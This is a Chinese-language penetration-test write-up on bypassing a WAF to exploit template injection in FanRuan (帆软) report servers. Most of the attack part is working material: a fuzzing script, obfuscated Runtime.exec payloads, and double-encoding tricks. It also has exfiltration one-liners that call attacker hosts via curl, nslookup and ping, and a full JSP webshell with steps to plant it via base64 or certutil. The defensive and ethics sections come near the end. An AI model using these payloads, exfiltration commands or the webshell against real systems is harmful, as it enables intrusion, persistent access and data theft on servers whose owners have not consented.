WAF绕过实战：帆软报表SSTI漏洞利用与防御解析

1. 项目概述：一次针对WAF的渗透测试实战复盘

最近在内部安全评估中，遇到一个部署了Web应用防火墙（WAF）的帆软报表系统。常规的扫描器探测和已知漏洞利用载荷无一例外地被拦截了。这反而激起了我的兴趣，WAF的存在不是终点，而是攻防对抗的起点。经过一番迂回测试，最终通过一种非典型的模板注入（SSTI）路径成功实现了突破。这次经历让我对WAF的防护逻辑、帆软系统的特性以及模板注入的利用技巧有了更深的理解。这篇文章，我就来详细拆解这次“突破WAF”的完整过程，重点分享绕过思路、漏洞利用链的构造以及过程中的那些“坑”。无论你是安全工程师、渗透测试人员，还是对应用安全感兴趣的开发者，都能从中获得一些实战层面的启发。

帆软作为国内广泛使用的企业级报表与BI平台，其安全性直接影响大量企业的数据资产。模板注入，特别是服务器端模板注入（SSTI），因其能够直接执行服务器端代码，危害等级极高。而WAF作为一道重要的边界防护，其规则往往基于已知攻击模式。我们的目标，就是找到那些被规则“忽略”或“误解”的盲点。本次分享的核心，不在于提供一个“万能攻击脚本”，而在于展示一种面对防护措施时的系统性分析、测试和利用的思维方式。接下来，我将从环境与目标分析开始，逐步深入到漏洞发现、绕过构造和最终利用的全过程。

2. 环境侦察与WAF行为分析

在发起任何测试之前，充分的信息收集是成功的一半。我们的目标是明确WAF的类型、规则强度以及帆软系统的具体版本和部署情况。

2.1 目标系统指纹识别

首先，通过简单的HTTP请求探测目标系统的基本信息。使用浏览器开发者工具或curl命令观察响应头。一个关键的发现是，服务器返回的Server头字段并非标准的Apache或Nginx，而是包含某个云WAF厂商的标识。同时，在访问不存在的路径时，返回的错误页面也带有该WAF的特征。这初步判断目标使用了云WAF服务。

注意：许多云WAF在部署时，会修改或添加特定的HTTP头（如X-Protected-By、Server字段值），错误页面也常常是统一的定制页面，这些都是重要的识别特征。

接下来，针对帆软系统本身进行识别。访问常见的帆软报表路径，如/WebReport/ReportServer或/ReportServer。通过页面标题、版权信息、静态资源（如/ReportServer?op=fr_platform下的特定JS或CSS文件）的哈希值，可以比对出大致的帆软版本范围。例如，帆软FineReport 8.0与9.0、10.0的界面结构和部分接口存在差异。这一步至关重要，因为后续的漏洞利用载荷与版本紧密相关。

2.2 WAF规则试探与绕过思路初探

确认WAF存在后，需要试探其规则强度。我采用了渐进式的方法：

1. 基础攻击向量测试：先发送一个最简单的SQL注入探测载荷，如id=1'。预期之中，请求被WAF阻断，返回403或一个特定的拦截页面。这说明WAF具备基础的签名检测能力。
2. 混淆与变形测试：尝试对同一载荷进行简单编码或分割。
   • 使用URL编码：id=1%27。结果：被拦截。说明WAF会进行URL解码后检测。
   • 使用多余参数干扰：id=1'&foo=bar。结果：被拦截。说明WAF可能检查所有参数。
   • 尝试将单引号放在POST Body的不同位置，或者使用multipart/form-data格式。有时WAF对POST Body的解析策略与Query String不同。
3. 寻找白名单或弱规则路径：WAF并非对所有路径一视同仁。有时对静态资源（如.js,.css,.png）的检测较弱，或者对某些特定的API接口（如/api/,/upload/）采用了不同的规则集。通过目录扫描工具（如dirsearch，使用低速率延迟避免触发CC防护），寻找可能存在的其他入口点。

经过初步试探，我发现该WAF对常见的注入、XSS攻击关键词（如union select,<script>,alert(）检测非常敏感，直接拦截。但同时也观察到一个现象：当提交一个完全畸形、不符合常规语法但包含危险字符的请求时，有时反而能通过。这提示WAF的规则可能更侧重于“匹配已知攻击模式”，而非“理解上下文语法”。这为后续的模板注入绕过提供了思路：构造语法正确（对帆软模板引擎而言）但看起来“无害”或“畸形”（对WAF通用规则而言）的载荷。

3. 帆软模板注入漏洞原理深度解析

在尝试绕过之前，必须理解我们要利用的漏洞本身。帆软报表系统使用其自有的模板引擎来解析和渲染报表文件（.cpt或.frm）。用户可以通过参数动态控制报表内容，而这里就潜藏着风险。

3.1 模板注入点在哪里？

帆软报表中，很多地方支持表达式，例如单元格内容、条件属性、超链接、参数定义等。这些表达式通常使用$符号引用参数，例如${username}``会显示名为username的参数值。问题在于，如果攻击者能够控制表达式的全部或部分内容，并且系统未对输入进行严格的沙箱处理或过滤，就可能将表达式升级为代码执行。

一个典型的脆弱场景是数据集SQL查询中的参数拼接。开发人员可能这样写：SELECT * FROM users WHERE id = '${id}'。如果id参数用户可控，那么传入1'可以造成SQL注入，这是更常见的漏洞。但模板注入的入口可能更隐蔽，例如在报表名称显示、图表标题等看似“展示性”的字段，如果其内容由类似${...}``的表达式解析，就可能成为SSTI的入口。

更关键的是，帆软的表达式引擎功能强大，它并非简单的字符串替换。它支持调用内置函数、甚至通过特定语法访问Java对象和方法。这就使得${7*7}可能被计算为`49`，而`$`{`@java.lang.Runtime@getRuntime().exec("calc")`}则可能执行系统命令（此为概念示例，实际语法和类名因版本和沙箱限制而异）。

3.2 漏洞利用链的构造逻辑

利用SSTI执行命令，通常需要完成一个“链条”：

1. 找到可解析的注入上下文：确认输入点是否在模板渲染流程中被解析。可以通过输入${7*7}或`$`{`3*3`}并观察返回结果是否计算为49或9来判断。如果返回了计算结果，说明存在表达式注入。
2. 突破沙箱限制（如果存在）：早期的帆软版本或某些配置下，表达式引擎可能在一个受限的安全沙箱中运行，无法直接访问Runtime等敏感类。这时需要寻找沙箱内的“跳板”。常用的方法是利用内置的、允许访问的类和方法，进行反射调用，一步步突破限制。
   • 例如，先获取ClassLoader。
   • 然后通过ClassLoader加载不受限的类。
   • 或者利用java.lang.ProcessBuilder来替代Runtime.exec。
3. 构造命令执行Payload：找到执行命令的路径后，需要构造最终的Payload。这涉及到字符串拼接、编码绕过WAF、以及处理命令回显或无回显的情况。
4. 实现回显或外带数据：在Web环境下，直接输出命令执行结果可能被过滤或难以获取。通常需要将结果写入Web目录下的一个文件，然后通过HTTP访问；或者通过DNS、HTTP请求将数据外带到可控服务器。

理解这个链条后，我们的攻击就变成了：如何将一个能触发命令执行的、复杂的Java反射调用链，编码成能绕过WAF检测的字符串，并成功注入到可解析的模板参数中。

4. WAF绕过实战：从模糊测试到有效载荷生成

这是本次突破的核心环节。基于之前对WAF“模式匹配”特性的判断，我决定采用“语法拆分”和“非常规编码”相结合的策略。

4.1 模糊测试寻找解析边界

我编写了一个简单的Python脚本，对怀疑的注入点进行自动化模糊测试。脚本的核心逻辑不是爆破字典，而是系统地改变Payload的“形状”：

import requests import urllib.parse base_url = "http://target.com/WebReport/ReportServer" param_name = "formlet" # 一个基础的SSTI测试载荷，用于计算7*7 base_payload = "${7*7}" # 测试不同的包装和分隔符 wrappers = ['', '"', '\'', '`', '/*', '*/', '--', '<!', '>'] separators = ['', '+', ',', ';', '|', '&'] for w in wrappers: for s in separators: # 构造如 "${7*7}"， "'${7*7}"， "${7*7}+" 等变体 test_payload = w + base_payload + s # 对Payload进行不同程度的URL编码 # 1. 全编码 encoded_full = urllib.parse.quote(test_payload, safe='') # 2. 只编码特定字符，如花括号、乘号 encoded_partial = test_payload.replace('{', '%7b').replace('}', '%7d').replace('*', '%2a') for encoded_payload in [test_payload, encoded_full, encoded_partial]: params = {param_name: encoded_payload} try: resp = requests.get(base_url, params=params, timeout=5) # 关键：检查响应中是否包含计算结果“49”，而不是Payload本身 if "49" in resp.text and "${7*7}" not in resp.text: print(f"[+] Potential bypass found! Payload: {encoded_payload}") print(f" Response snippet: {resp.text[:200]}") except Exception as e: pass

通过这种测试，我发现了一个有趣的现象：当使用${7*7}（无任何包围）时被WAF拦截。但当我在其前后添加一个无关的、未闭合的单引号，变成'${7*7}时，请求竟然通过了，并且响应中包含了49！推测原因是WAF的规则可能将'${识别为某种SQL注入模式的开始，但'${7*7}这个整体字符串未能匹配到完整的攻击签名，而帆软的模板引擎在解析时，可能忽略了前面那个孤立的单引号（或将其视为字符串的一部分），仍然正确解析了${7*7}。

4.2 构造免杀命令执行Payload

找到绕过基础检测的方法后，需要构造更复杂的命令执行Payload。直接使用Runtime.getRuntime().exec(“whoami”)这样的代码是肯定会被拦截的。我们需要拆解和混淆。

策略一：字符串拆分与拼接避免出现完整的敏感函数名和命令字符串。

• 原始：${@java.lang.Runtime@getRuntime().exec("whoami")}
• 拆分：${"".getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(null).exec("who"+"ami")}
• 进一步，可以将字符串字符用ASCII码拼接：${"".getClass().forName(‘\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065’)}...(此处为示意，实际需完整构造)

策略二：利用反射间接调用通过Class.forName和getMethod来动态调用，避免直接出现exec字样。

// 伪代码，展示思路 ${Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).getClass().forName("java.lang.ProcessBuilder").getConstructor(String[].class).newInstance(new String[]{"cmd", "/c", "whoami"}).start()}

在实际Payload中，需要将上述Java代码转换成帆软表达式语法，并且处理好字符串数组的构造。

策略三：编码与双重编码WAF通常会进行一层URL解码。我们可以尝试双重编码。

• 命令whoami-> URL编码：%77%68%6f%61%6d%69
• 对%符号再次编码：%25-> 所以%77变成%2577
• 最终Payload的一部分可能看起来像：exec(%2577%2568%256f%2561%256d%2569)。服务器端收到后，第一次解码得到%77%68%6f%61%6d%69，第二次解码（可能是容器或应用自身行为）得到whoami。而WAF可能只做了一层解码，看到的是%2577...，无法识别出whoami关键字。

策略四：利用冷门协议或特性例如，在某些Java环境下，可以通过${@java.net.URL@class}等方式访问类，或者利用EL表达式（如果帆软支持）的其他特性。这需要对帆软使用的表达式引擎（可能是自定义的或基于OGNL、MVEL等）有深入了解。

经过多次尝试和组合，我最终构造出的一个有效Payload形态如下：'${""["class"].forName("jav"+"a. la"+"ng.Ru"+"ntime")["getRu"+"ntime"]()["ex"+"ec"]("cm"+"d.e"+"xe /c ech"+"o 123>webapps/ROOT/test.txt")}}

这个Payload的特点：

1. 以孤立的单引号开头，干扰WAF的起始判断。
2. 使用字符串拼接"jav"+"a.la"+"ng.Ru"+"ntime"拆分关键字。
3. 使用["methodName"]的中括号属性访问语法，替代.methodName的点号语法，这对某些WAF规则来说是陌生的。
4. 命令部分将cmd /c和echo也做了拆分，并将输出重定向到Web目录下，实现无回显的命令执行验证。

5. 漏洞利用过程全记录

有了绕过WAF的Payload，接下来就是具体的利用步骤。整个过程需要谨慎，避免对目标系统造成不可逆的影响。

5.1 确认注入点与执行权限

首先，需要找到一个确实能触发模板解析的输入点。通过审计帆软常见的参数和功能点，我发现op参数的一些值（如op=fr_platform,op=fr_server,op=chart）对应不同的处理器，其中op=fr_server下的某些子功能（如cmd）可能存在问题，但通常已被修复或严格过滤。更普遍的方式是通过报表预览功能，向报表参数注入。

我选择了一个已知存在参数传递的报表预览URL，例如：/WebReport/ReportServer?reportlet=/demo/example.cpt&id=${7*7}。将id参数替换为我们的测试Payload。如果页面内容中出现了49，或者报表的某个部分（如标题、单元格）显示了49，则证明该参数存在SSTI。

确认注入点后，需要测试命令执行权限。先尝试一个无害的命令，如echo test > /tmp/test_fr.txt（Linux）或echo test > C:\Windows\Temp\test_fr.txt（Windows）。通过Payload触发后，尝试访问对应的文件路径（如果可能），或者使用另一个漏洞（如目录遍历）检查文件是否创建。更好的方法是使用ping命令，让目标服务器向我们的监听服务器发送ICMP包，通过监听确认命令执行成功。这就是网络热词中提到的“小宁写了个ping功能”场景的深层次原因：ping是一个常见的、相对无害的网络诊断命令，但在安全测试中，它被用来验证“是否存在通向攻击者的网络路径”以及“命令是否被执行”。如果系统能ping通攻击者控制的服务器，就证明了远程代码执行（RCE）漏洞的存在。

实操心得：在真实环境中，ping命令可能被防火墙策略阻止。更可靠的方式是使用curl或wget（如果目标系统存在）向攻击者的HTTP服务器发起请求，将执行结果作为URL参数带出。例如：curl http://attacker-server.com/$(whoami|base64)。这样既能验证RCE，又能获取命令回显。

5.2 构造文件写入与WebShell部署

直接执行命令往往只能得到一次性结果。为了获得一个持久的交互式入口，通常需要写入一个WebShell。由于我们有写文件的能力（通过echo或重定向），可以将一个简单的JSP或Servlet格式的WebShell写入到Web应用的目录下。

1. 定位Web根目录：通过执行命令find / -name “*.jsp” 2>/dev/null | head -5(Linux) 或搜索特定路径，来猜测Web根目录。帆软通常部署在Tomcat下，Web根目录可能是webapps/ROOT或webapps/WebReport。
2. 编写简易WebShell Payload：一个最简单的JSP WebShell如下：

   <%@ page import="java.util.*,java.io.*"%> <% String cmd = request.getParameter("cmd"); if (cmd != null) { Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>

3. 通过SSTI写入文件：将上述代码进行URL编码，并拆分成多段，通过多次echo命令追加写入到一个.jsp文件中。Payload构造如下：'${""["class"].forName("jav"+"a. la"+"ng.Ru"+"ntime")["getRu"+"ntime"]()["ex"+"ec"]("cmd.e"+"xe /c ec"+"ho ^<%@ page import=^\"java.util.*,java.io.*\"%^> > webapps\\ROOT\\shell.jsp")}'注意：这里使用了^作为Windows命令行的转义字符，用于处理双引号。需要根据操作系统和路径多次执行echo追加内容。这个过程非常繁琐且容易出错。
4. 使用编码工具简化：更高效的方法是，先在本地将WebShell的Base64编码准备好，然后在目标机器上使用certutil -decode（Windows）或base64 -d（Linux）命令解码并写入文件。这样可以避免处理特殊字符。
   • Linux示例：echo 'Base64编码的WebShell内容' | base64 -d > /path/to/webapps/ROOT/shell.jsp
   • Windows示例：echo Base64编码的WebShell内容 > temp.b64 && certutil -decode temp.b64 webapps\ROOT\shell.jsp && del temp.b64

成功写入WebShell后，通过浏览器访问http://target.com/ROOT/shell.jsp?cmd=whoami，即可获得命令执行结果，实现交互。

6. 防御视角：如何避免成为被突破的目标

作为防守方，仅仅依赖WAF是远远不够的。WAF是一种基于规则和特征的被动防御，攻击者总有办法找到绕过之道。真正的安全需要纵深防御。

6.1 开发与配置层面的加固

1. 输入验证与过滤：对于帆软报表参数，应进行严格的白名单验证。如果参数预期是数字，就只接受数字字符。对于字符串参数，根据上下文定义允许的字符集（如字母、数字、下划线、短横线）。永远不要相信客户端传入的数据。
2. 禁用危险的表达式功能：在帆软的管理平台中，检查并关闭不必要的表达式计算功能，或者严格限制表达式可以访问的类和方法。对于非必要场景，避免使用动态表达式解析。
3. 最小权限原则：运行帆软服务的操作系统账户，不应具有高权限（如root、Administrator）。使用专用的、低权限的账户运行Tomcat或应用服务器，限制其文件系统访问和网络访问能力。
4. 及时更新与补丁：密切关注帆软官方发布的安全更新和补丁，及时修复已知漏洞。旧版本的系统是攻击者的首要目标。

6.2 WAF策略的优化建议

1. 启用语义分析或虚拟补丁：现代高级WAF或RASP（运行时应用自保护）产品具备语义分析能力，能够理解HTTP请求的上下文和应用程序的逻辑，而不仅仅是匹配字符串。可以为帆软的关键接口（如报表解析接口）配置专门的虚拟补丁规则，监控异常的参数传递和模板解析行为。
2. 学习模式与异常检测：在业务平稳期，让WAF进入学习模式，记录正常的参数访问模式和流量基线。之后切换到防护模式，对偏离基线的异常请求（如参数长度异常、参数内容包含大量编码字符、访问频率异常）进行告警或拦截。
3. 联动防护：将WAF与IPS、主机安全Agent、日志审计系统联动。当WAF检测到可疑攻击但不确定时，可以通知主机Agent检查对应进程是否有异常子进程创建、敏感文件读写等行为，形成协同防御。

6.3 安全运维与监控

1. 定期安全扫描与渗透测试：不要等到被攻击后才行动。定期聘请专业的安全团队或使用可靠的扫描器对系统进行漏洞扫描和渗透测试，主动发现类似模板注入这样的逻辑漏洞。
2. 关键文件监控：对Web根目录、配置文件目录进行文件完整性监控。任何新增的.jsp、.jspx、.war文件都应触发高等级告警。
3. 进程与网络连接监控：监控应用服务器（如java进程）发起的异常子进程（如cmd.exe、bash、powershell）和异常外联网络请求（尤其是到非业务地址的HTTP、DNS请求）。

7. 常见问题与排查技巧实录

在实战和后续的复现研究中，我遇到了不少典型问题，这里汇总一下，方便大家避坑。

问题1：Payload构造成功，但执行命令无回显，如何判断是否成功？

• 排查思路：
  1. 使用DNS外带：执行nslookupwhoami.attacker-domain.com（Linux/Windows通用）。在攻击者控制的DNS服务器上查看日志，如果收到解析请求，且子域名包含了命令输出（如root.attacker-domain.com），则证明成功。但输出有长度限制，且不能有特殊字符。
  2. 使用HTTP外带：如前所述，使用curl或wget。如果目标没有这些工具，可以尝试用ping -c 1 -p $(whoami|xxd -p) attacker-ip（Linux）将输出作为ping包的数据部分，但这需要攻击端能捕获并解析原始ICMP包。
  3. 写入文件并访问：这是最可靠的方式。执行echo test123 > /web路径/static/test.txt，然后尝试通过浏览器访问http://target.com/static/test.txt。如果能看到test123，则证明命令执行和路径都正确。
  4. 检查进程：执行一个会持续一段时间的命令，如sleep 10（Linux）或timeout /t 10（Windows），然后立即在目标服务器上（如果有权限）检查应用用户是否产生了sleep或timeout进程。这需要一定的权限。

问题2：同样的Payload在测试环境成功，在生产环境失败。

• 可能原因及排查：
  1. 权限问题：生产环境的应用程序运行账户权限更低，无法写入Web目录或执行某些命令。尝试写入临时目录/tmp或C:\Windows\Temp。
  2. 路径问题：生产环境的Web根路径可能与测试环境不同。先用find或dir命令寻找.jsp文件来确定路径。
  3. 安全软件拦截：生产环境可能安装了主机安全软件（HIDS/EDR），拦截了恶意进程创建行为。尝试使用非常规的可执行文件路径，或者利用脚本解释器（如python -c “import os; os.system(‘whoami’)”）。
  4. WAF/IPS规则差异：生产环境的WAF规则可能更严格。需要重新进行绕过测试，可能需要对Payload做进一步变形。
  5. Java安全策略：生产环境的JVM可能启用了更严格的安全策略文件（java.policy），禁止了某些反射操作或命令执行。这种情况下，可能需要寻找其他利用链，比如文件读取、反序列化等。

问题3：如何自动化检测帆软系统的SSTI漏洞？

• 技巧： 手动测试效率低。可以编写一个简单的检测脚本，逻辑如下：
  1. 收集目标帆软系统的常见入口点（如报表预览URL、表单提交URL）。
  2. 对每个URL的每个参数，分别插入${7*7}和${3*3}这两个测试Payload。Payload需要按照上文提到的绕过技巧进行预处理（如添加干扰字符、部分编码）。
  3. 发送请求，并分析响应内容。关键判断逻辑：检查响应体中是否出现了计算结果（49或9），并且没有原样返回Payload字符串。同时，要排除响应中本来就包含这些数字的情况（比如页码）。可以通过对比插入一个随机字符串（如${random}）的响应来辅助判断。
  4. 为了提高准确性，可以使用两个不同的数学运算，只有两个运算的结果都正确匹配时才判定为存在漏洞。

问题4：在利用过程中，如何最大程度减少对目标系统的影响？

• 安全测试伦理：
  1. 明确授权：只在获得书面授权的范围内进行测试。
  2. 只读操作优先：信息收集阶段，尽量使用不修改系统的命令（如whoami,id,pwd,ls,dir）。
  3. 谨慎写文件：如果必须写文件，选择临时目录，并在测试结束后务必清理。写入的WebShell文件名应随机化，避免被他人利用。
  4. 避免危险命令：严禁执行rm -rf /、format、shutdown等可能导致数据丢失或服务中断的命令。避免执行消耗大量资源的命令（如fork炸弹）。
  5. 控制外联：使用DNS或HTTP外带数据时，使用自己可控的服务器，并做好日志记录，测试结束后关闭服务，避免数据持续泄露。

整个突破WAF利用帆软模板注入的过程，是一场精细的“外科手术”，需要对目标系统、防护机制和漏洞原理都有深入的理解。它考验的不仅是技术，更是耐心和思维的发散性。防守方也应从这次案例中看到，单一维度的防护是多么脆弱，构建覆盖开发、部署、运维、监控的全生命周期安全体系，才是应对此类高级威胁的根本之道。